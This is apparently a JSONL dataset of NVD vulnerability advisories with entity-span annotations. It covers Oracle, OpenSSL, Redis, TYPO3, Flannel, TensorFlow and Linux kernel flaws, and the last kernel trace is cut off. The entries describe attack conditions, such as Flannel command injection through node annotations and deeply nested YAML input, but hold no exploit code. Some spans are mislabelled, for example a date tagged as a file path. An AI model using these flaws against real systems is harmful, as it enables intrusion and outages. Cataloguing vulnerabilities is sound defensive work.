{"text": "Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component: Infrastructure). Supported versions that are affected are 8.0.6-8.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure. While the vulnerability is in Oracle Financial Services Analytical Applications Infrastructure, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Financial Services Analytical Applications Infrastructure. CVSS 3.1 Base Score 8.6 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [97, 103], [327, 333], [423, 429], [684, 690]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14824"}}
{"text": "Issue summary: Applications using RSASVE key encapsulation to establish\na secret encryption key can send contents of an uninitialized memory buffer to\na malicious peer.\n\nImpact summary: The uninitialized buffer might contain sensitive data from the\nprevious execution of the application process which leads to sensitive data\nleakage to an attacker.\n\nRSA_public_encrypt() returns the number of bytes written on success and -1\non error. The affected code tests only whether the return value is non-zero.\nAs a result, if RSA encryption fails, encapsulation can still return success to\nthe caller, set the output lengths, and leave the caller to use the contents of\nthe ciphertext buffer as if a valid KEM ciphertext had been produced.\n\nIf applications use EVP_PKEY_encapsulate() with RSA/RSASVE on an\nattacker-supplied invalid RSA public key without first validating that key,\nthen this may cause stale or uninitialized contents of the caller-provided\nciphertext buffer to be disclosed to the attacker in place of the KEM\nciphertext.\n\nAs a workaround calling EVP_PKEY_public_check() or\nEVP_PKEY_public_check_quick() before EVP_PKEY_encapsulate() will mitigate\nthe issue.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.1 and 3.0 are affected by this issue.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31790"}}
{"text": "PinchTab is a standalone HTTP server that gives AI agents direct control over a Chrome browser. PinchTab v0.8.3 contains a server-side request forgery issue in the optional scheduler's webhook delivery path. When a task is submitted to `POST /tasks` with a user-controlled `callbackUrl`, the v0.8.3 scheduler sends an outbound HTTP `POST` to that URL when the task reaches a terminal state. In that release, the webhook path validated only the URL scheme and did not reject loopback, private, link-local, or other non-public destinations. Because the v0.8.3 implementation also used the default HTTP client behavior, redirects were followed and the destination was not pinned to validated IPs. This allowed blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets reachable from the server. This issue is narrower than a general unauthenticated internet-facing SSRF. The scheduler is optional and off by default, and in token-protected deployments the attacker must already be able to submit tasks using the server's master API token. In PinchTab's intended deployment model, that token represents administrative control rather than a low-privilege role. Tokenless deployments lower the barrier further, but that is a separate insecure configuration state rather than impact created by the webhook bug itself. PinchTab's default deployment model is local-first and user-controlled, with loopback bind and token-based access in the recommended setup. That lowers practical risk in default use, even though it does not remove the underlying webhook issue when the scheduler is enabled and reachable. This was addressed in v0.8.4 by validating callback targets before dispatch, rejecting non-public IP ranges, pinning delivery to validated IPs, disabling redirect following, and validating `callbackUrl` during task submission.", "spans": {"VULNERABILITY: server-side request forgery": [[123, 150]], "VULNERABILITY: SSRF": [[713, 717], [875, 879]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33619"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/fadump: Move fadump_cma_init to setup_arch() after initmem_init()\n\nDuring early init CMA_MIN_ALIGNMENT_BYTES can be PAGE_SIZE,\nsince pageblock_order is still zero and it gets initialized\nlater during initmem_init() e.g.\nsetup_arch() -> initmem_init() -> sparse_init() -> set_pageblock_order()\n\nOne such use case where this causes issue is -\nearly_setup() -> early_init_devtree() -> fadump_reserve_mem() -> fadump_cma_init()\n\nThis causes CMA memory alignment check to be bypassed in\ncma_init_reserved_mem(). Then later cma_activate_area() can hit\na VM_BUG_ON_PAGE(pfn & ((1 << order) - 1)) if the reserved memory\narea was not pageblock_order aligned.\n\nFix it by moving the fadump_cma_init() after initmem_init(),\nwhere other such cma reservations also gets called.\n\n<stack trace>\n==============\npage: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10010\nflags: 0x13ffff800000000(node=1|zone=0|lastcpupid=0x7ffff) CMA\nraw: 013ffff800000000 5deadbeef0000100 5deadbeef0000122 0000000000000000\nraw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000\npage dumped because: VM_BUG_ON_PAGE(pfn & ((1 << order) - 1))\n------------[ cut here ]------------\nkernel BUG at mm/page_alloc.c:778!\n\nCall Trace:\n__free_one_page+0x57c/0x7b0 (unreliable)\nfree_pcppages_bulk+0x1a8/0x2c8\nfree_unref_page_commit+0x3d4/0x4e4\nfree_unref_page+0x458/0x6d0\ninit_cma_reserved_pageblock+0x114/0x198\ncma_init_reserved_areas+0x270/0x3e0\ndo_one_initcall+0x80/0x2f8\nkernel_init_freeable+0x33c/0x530\nkernel_init+0x34/0x26c\nret_from_kernel_user_thread+0x14/0x1c", "spans": {"FILEPATH: page_alloc.c": [[1271, 1283]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56677"}}
{"text": "Redis is an in-memory database that persists on disk. By exploiting weaknesses in the Lua script execution environment, an attacker with access to Redis prior to version 7.0.0 or 6.2.7 can inject Lua code that will execute with the (potentially higher) privileges of another Redis user. The Lua script execution environment in Redis provides some measures that prevent a script from creating side effects that persist and can affect the execution of the same, or different script, at a later time. Several weaknesses of these measures have been publicly known for a long time, but they had no security impact as the Redis security model did not endorse the concept of users or privileges. With the introduction of ACLs in Redis 6.0, these weaknesses can be exploited by a less privileged users to inject Lua code that will execute at a later time, when a privileged user executes a Lua script. The problem is fixed in Redis versions 7.0.0 and 6.2.7. An additional workaround to mitigate this problem without patching the redis-server executable, if Lua scripting is not being used, is to block access to `SCRIPT LOAD` and `EVAL` commands using ACL rules.", "spans": {"SYSTEM: Redis": [[0, 5], [147, 152], [275, 280], [327, 332], [616, 621], [722, 727], [918, 923]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-24735"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nFix page corruption caused by racy check in __free_pages\n\nWhen we upgraded our kernel, we started seeing some page corruption like\nthe following consistently:\n\n  BUG: Bad page state in process ganesha.nfsd  pfn:1304ca\n  page:0000000022261c55 refcount:0 mapcount:-128 mapping:0000000000000000 index:0x0 pfn:0x1304ca\n  flags: 0x17ffffc0000000()\n  raw: 0017ffffc0000000 ffff8a513ffd4c98 ffffeee24b35ec08 0000000000000000\n  raw: 0000000000000000 0000000000000001 00000000ffffff7f 0000000000000000\n  page dumped because: nonzero mapcount\n  CPU: 0 PID: 15567 Comm: ganesha.nfsd Kdump: loaded Tainted: P    B      O      5.10.158-1.nutanix.20221209.el7.x86_64 #1\n  Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 04/05/2016\n  Call Trace:\n   dump_stack+0x74/0x96\n   bad_page.cold+0x63/0x94\n   check_new_page_bad+0x6d/0x80\n   rmqueue+0x46e/0x970\n   get_page_from_freelist+0xcb/0x3f0\n   ? _cond_resched+0x19/0x40\n   __alloc_pages_nodemask+0x164/0x300\n   alloc_pages_current+0x87/0xf0\n   skb_page_frag_refill+0x84/0x110\n   ...\n\nSometimes, it would also show up as corruption in the free list pointer\nand cause crashes.\n\nAfter bisecting the issue, we found the issue started from commit\ne320d3012d25 (\"mm/page_alloc.c: fix freeing non-compound pages\"):\n\n\tif (put_page_testzero(page))\n\t\tfree_the_page(page, order);\n\telse if (!PageHead(page))\n\t\twhile (order-- > 0)\n\t\t\tfree_the_page(page + (1 << order), order);\n\nSo the problem is the check PageHead is racy because at this point we\nalready dropped our reference to the page.  So even if we came in with\ncompound page, the page can already be freed and PageHead can return\nfalse and we will end up freeing all the tail pages causing double free.", "spans": {"FILEPATH: /05/2016": [[825, 833]], "FILEPATH: page_alloc.c": [[1310, 1322]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: VMware": [[742, 748], [755, 761]], "VULNERABILITY: double free": [[1785, 1796]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52739"}}
{"text": "u'Buffer over-read issue in Bluetooth peripheral firmware due to lack of check for invalid opcode and length of opcode received from central device(This CVE is equivalent to Link Layer Length Overfow issue (CVE-2019-16336,CVE-2019-17519) and Silent Length Overflow issue(CVE-2019-17518) mentioned in sweyntooth paper)' in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer Electronics Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon IoT, Snapdragon Mobile, Snapdragon Voice & Music in APQ8053, APQ8076, AR9344, Bitra, Kamorta, MDM9206, MDM9207C, MDM9607, MSM8905, MSM8917, MSM8937, MSM8940, MSM8953, Nicobar, QCA6174A, QCA9377, QCM2150, QCM6125, QCS404, QCS405, QCS605, QCS610, QM215, Rennell, SC8180X, SDM429, SDM439, SDM450, SDM630, SDM632, SDM636, SDM660, SDM670, SDM710, SDM845, SDX20, SDX24, SM6150, SM7150, SM8150, SXR1130", "spans": {"CVE_ID: CVE-2019-16336": [[207, 221]], "CVE_ID: CVE-2019-17519": [[222, 236]], "CVE_ID: CVE-2019-17518": [[271, 285]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-3703"}}
{"text": "TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to lax or none. The vulnerability in the affected downstream component “Extension Manager Module” allows attackers to retrieve and install 3rd party extensions from the TYPO3 Extension Repository - which can lead to remote code execution in the worst case. Users are advised to update to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS which fix the problem described.", "spans": {"VULNERABILITY: Cross-Site Request Forgery": [[215, 241]], "VULNERABILITY: remote code execution": [[1138, 1159]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-55921"}}
{"text": "`yaml` is a YAML parser and serialiser for JavaScript. Parsing a YAML document with a version of `yaml` on the 1.x branch prior to 1.10.3 or on the 2.x branch prior to 2.8.3 may throw a RangeError due to a stack overflow. The node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a `RangeError: Maximum call stack size exceeded` with a small payload (~2–10 KB). The `RangeError` is not a `YAMLParseError`, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application's exception handling, this can fail requests or terminate the Node.js process. Flow sequences allow deep nesting with minimal bytes (2 bytes per level: one `[` and one `]`). On the default Node.js stack, approximately 1,000–5,000 levels of nesting (2–10 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation). Note: the library's `Parser` (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion. All three public parsing APIs are affected: `YAML.parse()`, `YAML.parseDocument()`, and `YAML.parseAllDocuments()`. Versions 1.10.3 and 2.8.3 contain a patch.", "spans": {"FILEPATH: Node.js": [[689, 696], [816, 823], [961, 968]], "VULNERABILITY: stack overflow": [[206, 220]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33532"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ipv4: fix memory leak in ip_mc_add1_src\n\nBUG: memory leak\nunreferenced object 0xffff888101bc4c00 (size 32):\n  comm \"syz-executor527\", pid 360, jiffies 4294807421 (age 19.329s)\n  hex dump (first 32 bytes):\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n    01 00 00 00 00 00 00 00 ac 14 14 bb 00 00 02 00 ................\n  backtrace:\n    [<00000000f17c5244>] kmalloc include/linux/slab.h:558 [inline]\n    [<00000000f17c5244>] kzalloc include/linux/slab.h:688 [inline]\n    [<00000000f17c5244>] ip_mc_add1_src net/ipv4/igmp.c:1971 [inline]\n    [<00000000f17c5244>] ip_mc_add_src+0x95f/0xdb0 net/ipv4/igmp.c:2095\n    [<000000001cb99709>] ip_mc_source+0x84c/0xea0 net/ipv4/igmp.c:2416\n    [<0000000052cf19ed>] do_ip_setsockopt net/ipv4/ip_sockglue.c:1294 [inline]\n    [<0000000052cf19ed>] ip_setsockopt+0x114b/0x30c0 net/ipv4/ip_sockglue.c:1423\n    [<00000000477edfbc>] raw_setsockopt+0x13d/0x170 net/ipv4/raw.c:857\n    [<00000000e75ca9bb>] __sys_setsockopt+0x158/0x270 net/socket.c:2117\n    [<00000000bdb993a8>] __do_sys_setsockopt net/socket.c:2128 [inline]\n    [<00000000bdb993a8>] __se_sys_setsockopt net/socket.c:2125 [inline]\n    [<00000000bdb993a8>] __x64_sys_setsockopt+0xba/0x150 net/socket.c:2125\n    [<000000006a1ffdbd>] do_syscall_64+0x40/0x80 arch/x86/entry/common.c:47\n    [<00000000b11467c4>] entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nIn commit 24803f38a5c0 (\"igmp: do not remove igmp souce list info when set\nlink down\"), the ip_mc_clear_src() in ip_mc_destroy_dev() was removed,\nbecause it was also called in igmpv3_clear_delrec().\n\nRough callgraph:\n\ninetdev_destroy\n-> ip_mc_destroy_dev\n     -> igmpv3_clear_delrec\n        -> ip_mc_clear_src\n-> RCU_INIT_POINTER(dev->ip_ptr, NULL)\n\nHowever, ip_mc_clear_src() called in igmpv3_clear_delrec() doesn't\nrelease in_dev->mc_list->sources. And RCU_INIT_POINTER() assigns the\nNULL to dev->ip_ptr. As a result, in_dev cannot be obtained through\ninetdev_by_index() and then in_dev->mc_list->sources cannot be released\nby ip_mc_del1_src() in the sock_close. Rough call sequence goes like:\n\nsock_close\n-> __sock_release\n   -> inet_release\n      -> ip_mc_drop_socket\n         -> inetdev_by_index\n         -> ip_mc_leave_src\n            -> ip_mc_del_src\n               -> ip_mc_del1_src\n\nSo we still need to call ip_mc_clear_src() in ip_mc_destroy_dev() to free\nin_dev->mc_list->sources.", "spans": {"FILEPATH: /linux/slab.h": [[470, 483], [537, 550]], "FILEPATH: /ipv4/igmp.c": [[607, 619], [688, 700], [759, 771]], "FILEPATH: /ipv4/ip_sockglue.c": [[822, 841], [912, 931]], "FILEPATH: /ipv4/raw.c": [[992, 1003]], "FILEPATH: /x86/entry/common.c": [[1352, 1371]], "FILEPATH: socket.c": [[1066, 1074], [1129, 1137], [1201, 1209], [1285, 1293]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[84, 95], [120, 131]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47238"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfbmem: Do not delete the mode that is still in use\n\nThe execution of fb_delete_videomode() is not based on the result of the\nprevious fbcon_mode_deleted(). As a result, the mode is directly deleted,\nregardless of whether it is still in use, which may cause UAF.\n\n==================================================================\nBUG: KASAN: use-after-free in fb_mode_is_equal+0x36e/0x5e0 \\\ndrivers/video/fbdev/core/modedb.c:924\nRead of size 4 at addr ffff88807e0ddb1c by task syz-executor.0/18962\n\nCPU: 2 PID: 18962 Comm: syz-executor.0 Not tainted 5.10.45-rc1+ #3\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS ...\nCall Trace:\n __dump_stack lib/dump_stack.c:77 [inline]\n dump_stack+0x137/0x1be lib/dump_stack.c:118\n print_address_description+0x6c/0x640 mm/kasan/report.c:385\n __kasan_report mm/kasan/report.c:545 [inline]\n kasan_report+0x13d/0x1e0 mm/kasan/report.c:562\n fb_mode_is_equal+0x36e/0x5e0 drivers/video/fbdev/core/modedb.c:924\n fbcon_mode_deleted+0x16a/0x220 drivers/video/fbdev/core/fbcon.c:2746\n fb_set_var+0x1e1/0xdb0 drivers/video/fbdev/core/fbmem.c:975\n do_fb_ioctl+0x4d9/0x6e0 drivers/video/fbdev/core/fbmem.c:1108\n vfs_ioctl fs/ioctl.c:48 [inline]\n __do_sys_ioctl fs/ioctl.c:753 [inline]\n __se_sys_ioctl+0xfb/0x170 fs/ioctl.c:739\n do_syscall_64+0x2d/0x70 arch/x86/entry/common.c:46\n entry_SYSCALL_64_after_hwframe+0x44/0xa9\n\nFreed by task 18960:\n kasan_save_stack mm/kasan/common.c:48 [inline]\n kasan_set_track+0x3d/0x70 mm/kasan/common.c:56\n kasan_set_free_info+0x17/0x30 mm/kasan/generic.c:355\n __kasan_slab_free+0x108/0x140 mm/kasan/common.c:422\n slab_free_hook mm/slub.c:1541 [inline]\n slab_free_freelist_hook+0xd6/0x1a0 mm/slub.c:1574\n slab_free mm/slub.c:3139 [inline]\n kfree+0xca/0x3d0 mm/slub.c:4121\n fb_delete_videomode+0x56a/0x820 drivers/video/fbdev/core/modedb.c:1104\n fb_set_var+0x1f3/0xdb0 drivers/video/fbdev/core/fbmem.c:978\n do_fb_ioctl+0x4d9/0x6e0 drivers/video/fbdev/core/fbmem.c:1108\n vfs_ioctl fs/ioctl.c:48 [inline]\n __do_sys_ioctl fs/ioctl.c:753 [inline]\n __se_sys_ioctl+0xfb/0x170 fs/ioctl.c:739\n do_syscall_64+0x2d/0x70 arch/x86/entry/common.c:46\n entry_SYSCALL_64_after_hwframe+0x44/0xa9", "spans": {"FILEPATH: /video/fbdev/core/modedb.c": [[467, 493], [991, 1017], [1850, 1876]], "FILEPATH: /kasan/report.c": [[839, 854], [877, 892], [934, 949]], "FILEPATH: /video/fbdev/core/fbcon.c": [[1061, 1086]], "FILEPATH: /video/fbdev/core/fbmem.c": [[1123, 1148], [1185, 1210], [1913, 1938], [1975, 2000]], "FILEPATH: /x86/entry/common.c": [[1361, 1380], [2151, 2170]], "FILEPATH: /kasan/common.c": [[1468, 1483], [1525, 1540], [1631, 1646]], "FILEPATH: /kasan/generic.c": [[1577, 1593]], "FILEPATH: dump_stack.c": [[729, 741], [782, 794]], "FILEPATH: ioctl.c": [[1230, 1237], [1269, 1276], [1320, 1327], [2020, 2027], [2059, 2066], [2110, 2117]], "FILEPATH: slub.c": [[1670, 1676], [1730, 1736], [1756, 1762], [1798, 1804]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[650, 654]], "VULNERABILITY: use-after-free": [[411, 425]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47338"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. The TFLite implementation of concatenation is vulnerable to an integer overflow issue(https://github.com/tensorflow/tensorflow/blob/7b7352a724b690b11bfaae2cd54bc3907daf6285/tensorflow/lite/kernels/concatenation.cc#L70-L76). An attacker can craft a model such that the dimensions of one of the concatenation input overflow the values of `int`. TFLite uses `int` to represent tensor dimensions, whereas TF uses `int64`. Hence, valid TF models can trigger an integer overflow when converted to TFLite format. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/7b7352a724b690b11bfaae2cd54bc3907daf6285/tensorflow/lite/kernels/concatenation.cc#L70-L76": [[157, 292]], "VULNERABILITY: integer overflow": [[134, 150], [527, 543]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29601"}}
{"text": "Flannel is a network fabric for containers, designed for Kubernetes. The Flannel project includes an experimental Extension backend that allows users to easily prototype new backend types. In versions of Flannel prior to 0.28.2, this Extension backend is vulnerable to a command injection  that allows an attacker who can set Kubernetes Node annotations to achieve root-level arbitrary command execution on every flannel node in the cluster. The Extension backend's SubnetAddCommand and SubnetRemoveCommand receive attacker-controlled data via stdin (from the `flannel.alpha.coreos.com/backend-data` Node annotation). The content of this annotation is unmarshalled and piped directly to a shell command without checks. Kubernetes clusters using Flannel with the Extension backend are affected by this vulnerability. Other backends such as vxlan and wireguard are unaffected. The vulnerability is fixed in version v0.28.2. As a workaround, use Flannel with another backend such as vxlan or wireguard.", "spans": {"DOMAIN: flannel.alpha.coreos.com": [[561, 585]], "SYSTEM: Kubernetes": [[57, 67], [326, 336], [719, 729]], "VULNERABILITY: command injection": [[271, 288]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32241"}}
{"text": "Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: Hotspot). Supported versions that are affected are Java SE: 7u271, 8u261, 11.0.8 and 15; Java SE Embedded: 8u261. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Java SE, Java SE Embedded accessible data as well as unauthorized read access to a subset of Java SE, Java SE Embedded accessible data. Note: Applies to client and server deployment of Java. This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified Component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service. CVSS 3.1 Base Score 4.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N).", "spans": {"SYSTEM: Java": [[21, 25], [30, 34], [65, 69], [136, 140], [174, 178], [323, 327], [332, 336], [545, 549], [554, 558], [638, 642], [647, 651], [730, 734], [790, 794], [832, 836], [948, 952], [989, 993]], "ORGANIZATION: Oracle": [[58, 64]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14792"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Fix crash on profile change rollback failure\n\nmlx5e_netdev_change_profile can fail to attach a new profile and can\nfail to rollback to old profile, in such case, we could end up with a\ndangling netdev with a fully reset netdev_priv. A retry to change\nprofile, e.g. another attempt to call mlx5e_netdev_change_profile via\nswitchdev mode change, will crash trying to access the now NULL\npriv->mdev.\n\nThis fix allows mlx5e_netdev_change_profile() to handle previous\nfailures and an empty priv, by not assuming priv is valid.\n\nPass netdev and mdev to all flows requiring\nmlx5e_netdev_change_profile() and avoid passing priv.\nIn mlx5e_netdev_change_profile() check if current priv is valid, and if\nnot, just attach the new profile without trying to access the old one.\n\nThis fixes the following oops, when enabling switchdev mode for the 2nd\ntime after first time failure:\n\n ## Enabling switchdev mode first time:\n\nmlx5_core 0012:03:00.1: E-Switch: Supported tc chains and prios offload\nworkqueue: Failed to create a rescuer kthread for wq \"mlx5e\": -EINTR\nmlx5_core 0012:03:00.1: mlx5e_netdev_init_profile:6214:(pid 37199): mlx5e_priv_init failed, err=-12\nmlx5_core 0012:03:00.1 gpu3rdma1: mlx5e_netdev_change_profile: new profile init failed, -12\nworkqueue: Failed to create a rescuer kthread for wq \"mlx5e\": -EINTR\nmlx5_core 0012:03:00.1: mlx5e_netdev_init_profile:6214:(pid 37199): mlx5e_priv_init failed, err=-12\nmlx5_core 0012:03:00.1 gpu3rdma1: mlx5e_netdev_change_profile: failed to rollback to orig profile, -12\n                                                                         ^^^^^^^^\nmlx5_core 0000:00:03.0: E-Switch: Disable: mode(LEGACY), nvfs(0), necvfs(0), active vports(0)\n\n ## retry: Enabling switchdev mode 2nd time:\n\nmlx5_core 0000:00:03.0: E-Switch: Supported tc chains and prios offload\nBUG: kernel NULL pointer dereference, address: 0000000000000038\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\nPGD 0 P4D 0\nOops: Oops: 0000 [#1] SMP NOPTI\nCPU: 13 UID: 0 PID: 520 Comm: devlink Not tainted 6.18.0-rc4+ #91 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-2.fc40 04/01/2014\nRIP: 0010:mlx5e_detach_netdev+0x3c/0x90\nCode: 50 00 00 f0 80 4f 78 02 48 8b bf e8 07 00 00 48 85 ff 74 16 48 8b 73 78 48 d1 ee 83 e6 01 83 f6 01 40 0f b6 f6 e8 c4 42 00 00 <48> 8b 45 38 48 85 c0 74 08 48 89 df e8 cc 47 40 1e 48 8b bb f0 07\nRSP: 0018:ffffc90000673890 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: ffff8881036a89c0 RCX: 0000000000000000\nRDX: ffff888113f63800 RSI: ffffffff822fe720 RDI: 0000000000000000\nRBP: 0000000000000000 R08: 0000000000002dcd R09: 0000000000000000\nR10: ffffc900006738e8 R11: 00000000ffffffff R12: 0000000000000000\nR13: 0000000000000000 R14: ffff8881036a89c0 R15: 0000000000000000\nFS:  00007fdfb8384740(0000) GS:ffff88856a9d6000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000038 CR3: 0000000112ae0005 CR4: 0000000000370ef0\nCall Trace:\n <TASK>\n mlx5e_netdev_change_profile+0x45/0xb0\n mlx5e_vport_rep_load+0x27b/0x2d0\n mlx5_esw_offloads_rep_load+0x72/0xf0\n esw_offloads_enable+0x5d0/0x970\n mlx5_eswitch_enable_locked+0x349/0x430\n ? is_mp_supported+0x57/0xb0\n mlx5_devlink_eswitch_mode_set+0x26b/0x430\n devlink_nl_eswitch_set_doit+0x6f/0xf0\n genl_family_rcv_msg_doit+0xe8/0x140\n genl_rcv_msg+0x18b/0x290\n ? __pfx_devlink_nl_pre_doit+0x10/0x10\n ? __pfx_devlink_nl_eswitch_set_doit+0x10/0x10\n ? __pfx_devlink_nl_post_doit+0x10/0x10\n ? __pfx_genl_rcv_msg+0x10/0x10\n netlink_rcv_skb+0x52/0x100\n genl_rcv+0x28/0x40\n netlink_unicast+0x282/0x3e0\n ? __alloc_skb+0xd6/0x190\n netlink_sendmsg+0x1f7/0x430\n __sys_sendto+0x213/0x220\n ? __sys_recvmsg+0x6a/0xd0\n __x64_sys_sendto+0x24/0x30\n do_syscall_64+0x50/0x1f0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\nRIP: 0033:0x7fdfb8495047", "spans": {"FILEPATH: /01/2014": [[2244, 2252]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[2186, 2190]], "VULNERABILITY: NULL pointer dereference": [[1902, 1926]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23000"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs: dlm: fix invalid derefence of sb_lvbptr\n\nI experience issues when putting a lkbsb on the stack and have sb_lvbptr\nfield to a dangled pointer while not using DLM_LKF_VALBLK. It will crash\nwith the following kernel message, the dangled pointer is here\n0xdeadbeef as example:\n\n[  102.749317] BUG: unable to handle page fault for address: 00000000deadbeef\n[  102.749320] #PF: supervisor read access in kernel mode\n[  102.749323] #PF: error_code(0x0000) - not-present page\n[  102.749325] PGD 0 P4D 0\n[  102.749332] Oops: 0000 [#1] PREEMPT SMP PTI\n[  102.749336] CPU: 0 PID: 1567 Comm: lock_torture_wr Tainted: G        W         5.19.0-rc3+ #1565\n[  102.749343] Hardware name: Red Hat KVM/RHEL-AV, BIOS 1.16.0-2.module+el8.7.0+15506+033991b0 04/01/2014\n[  102.749344] RIP: 0010:memcpy_erms+0x6/0x10\n[  102.749353] Code: cc cc cc cc eb 1e 0f 1f 00 48 89 f8 48 89 d1 48 c1 e9 03 83 e2 07 f3 48 a5 89 d1 f3 a4 c3 66 0f 1f 44 00 00 48 89 f8 48 89 d1 <f3> a4 c3 0f 1f 80 00 00 00 00 48 89 f8 48 83 fa 20 72 7e 40 38 fe\n[  102.749355] RSP: 0018:ffff97a58145fd08 EFLAGS: 00010202\n[  102.749358] RAX: ffff901778b77070 RBX: 0000000000000000 RCX: 0000000000000040\n[  102.749360] RDX: 0000000000000040 RSI: 00000000deadbeef RDI: ffff901778b77070\n[  102.749362] RBP: ffff97a58145fd10 R08: ffff901760b67a70 R09: 0000000000000001\n[  102.749364] R10: ffff9017008e2cb8 R11: 0000000000000001 R12: ffff901760b67a70\n[  102.749366] R13: ffff901760b78f00 R14: 0000000000000003 R15: 0000000000000001\n[  102.749368] FS:  0000000000000000(0000) GS:ffff901876e00000(0000) knlGS:0000000000000000\n[  102.749372] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  102.749374] CR2: 00000000deadbeef CR3: 000000017c49a004 CR4: 0000000000770ef0\n[  102.749376] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[  102.749378] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[  102.749379] PKRU: 55555554\n[  102.749381] Call Trace:\n[  102.749382]  <TASK>\n[  102.749383]  ? send_args+0xb2/0xd0\n[  102.749389]  send_common+0xb7/0xd0\n[  102.749395]  _unlock_lock+0x2c/0x90\n[  102.749400]  unlock_lock.isra.56+0x62/0xa0\n[  102.749405]  dlm_unlock+0x21e/0x330\n[  102.749411]  ? lock_torture_stats+0x80/0x80 [dlm_locktorture]\n[  102.749416]  torture_unlock+0x5a/0x90 [dlm_locktorture]\n[  102.749419]  ? preempt_count_sub+0xba/0x100\n[  102.749427]  lock_torture_writer+0xbd/0x150 [dlm_locktorture]\n[  102.786186]  kthread+0x10a/0x130\n[  102.786581]  ? kthread_complete_and_exit+0x20/0x20\n[  102.787156]  ret_from_fork+0x22/0x30\n[  102.787588]  </TASK>\n[  102.787855] Modules linked in: dlm_locktorture torture rpcsec_gss_krb5 intel_rapl_msr intel_rapl_common kvm_intel iTCO_wdt iTCO_vendor_support kvm 